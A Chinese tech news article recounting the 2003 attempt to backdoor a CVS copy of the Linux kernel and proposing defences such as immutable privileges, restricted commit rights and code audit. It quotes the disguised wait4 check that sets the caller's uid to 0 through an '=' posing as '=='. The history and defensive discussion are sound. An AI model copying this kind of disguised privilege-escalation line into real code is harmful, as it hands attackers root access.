回顾Linux内核后门
出处:中关村 作者:darling2047 责任编辑:fanyun 发布日期:2013-12-30
由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在2003年曾经有人试图向Linux内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。
Corbet在LVN.Net的文章中首次提到以下这段代码,它把自己伪装成类似wait4函数的参数校验。
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
正常情况下没有任何影响,但是如果调用程序故意传入非法值,if表达式的第二部分就会执行。该部分会将程序的用户ID(current->uid)设为0,在Linux中就是root用户。
一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将'=='写成'='。虽然你认为函数wait4不应该与用户ID有任何关系,但是很明显这是故意为为之。
Corbet描述了该后门是如何被发现的
CVS库中的每个变更都会包含反向链接信息,表明与BitKeeper中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。
试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。
攻击者曾经再次向BitKeeper库的CVS克隆库中植入后门。他继续说道
CVS代码库是从BitKeeper生成的,但是补丁程序进入BitKeeper代码库并不经过它。所以有问题的代码只会影响基于CVS代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。
大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有Linux内核团队的控制和严格检查,你如何保护自己不受攻击。
一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取root权限。
在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。
如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。
这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。
如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。
注:评论审核后才能被公开。
相关文章
- [游戏·软件] Win11最新版来... 2022-04-15
- [游戏·软件] Win11 Bui... 2022-01-21
- [商业·网络] Win11界面设计... 2021-12-23
- [商业·网络] 微软致歉!终于默许... 2021-11-16
- [商业·网络] 真的不兼容?十几年... 2021-11-08
- [知名企业] Win11/Win... 2021-10-22
- [游戏·软件] Win11更改默认... 2021-09-17
- [商业·网络] 控制面板会成为历史... 2021-09-02
- [商业·网络] 从此不怕流氓软件?... 2021-09-02
- [商业·网络] 还不如之前顺手?W... 2021-09-02
- [商业·网络] Win11到底什么... 2021-08-27
- [软件应用] 鸿蒙系统怎么退回安... 2021-08-27
- [手机·数码] Android 1... 2021-08-13
- [维修保养] C盘空间不足解决方... 2020-01-14
- [网络技术] 笔记本Win7系统... 2018-07-16
最新更新
- [促销讯息] 易搜《福建IT行业... 2023-04-21
- [促销讯息] 易搜《安徽IT行业... 2023-04-21
- [促销讯息] 易搜《云南IT行业... 2023-04-21
- [促销讯息] 易搜《福建IT行业... 2023-04-21
- [美容养生] 口腔溃疡的起因不止... 2023-03-29
- [职场入门] 终面技巧丨明明聊得... 2023-03-29
- [职场入门] 应届生离职原因大公... 2023-03-29
- [职场入门] 简历上什么都写只会... 2023-03-29
- [美容养生] 肝脏是否健康,可以... 2023-03-29
- [手机·数码] 8分钟即可充满!传... 2023-03-10
- [职场入门] 关于五险一金,这些... 2023-03-10
- [职场入门] 如何应对校招中的性... 2023-03-10
- [市场动态] 济宁市三项目获省良... 2023-03-10
- [美容养生] 每天总会喝两杯的人... 2023-03-10
- [美容养生] 膳食纤维素益生元功... 2023-03-07
热门点击
- [热点访谈] 易搜《山东IT行业... 2014-04-01
- [名人传记] 董事会该如何订定高... 2014-12-08
- [促销讯息] 易搜《江西IT行业... 2014-07-15
- [促销讯息] 易搜《河南IT行业... 2014-10-24
- [促销讯息] 易搜《福建IT行业... 2014-07-02
- [热点访谈] 易搜《湖南IT行业... 2014-10-18
- [促销讯息] 易搜《四川IT行业... 2014-11-27
- [促销讯息] 看过来看过来!关注... 2014-09-10
- [爆笑囧图] 00年代我们追过的... 2014-09-28
- [热点访谈] 易搜《浙江IT通讯... 2015-01-30
- [手机·数码] 为年终蓄力 十月份... 2013-10-28
- [市场动态] 互联网电视“赛马”... 2013-09-16
- [桌面壁纸] 性感古装美女,亮瞎... 2014-09-16
- [热点访谈] 易搜《浙江IT行业... 2014-08-24
- [热点访谈] 2015年,100... 2015-03-25
评论列表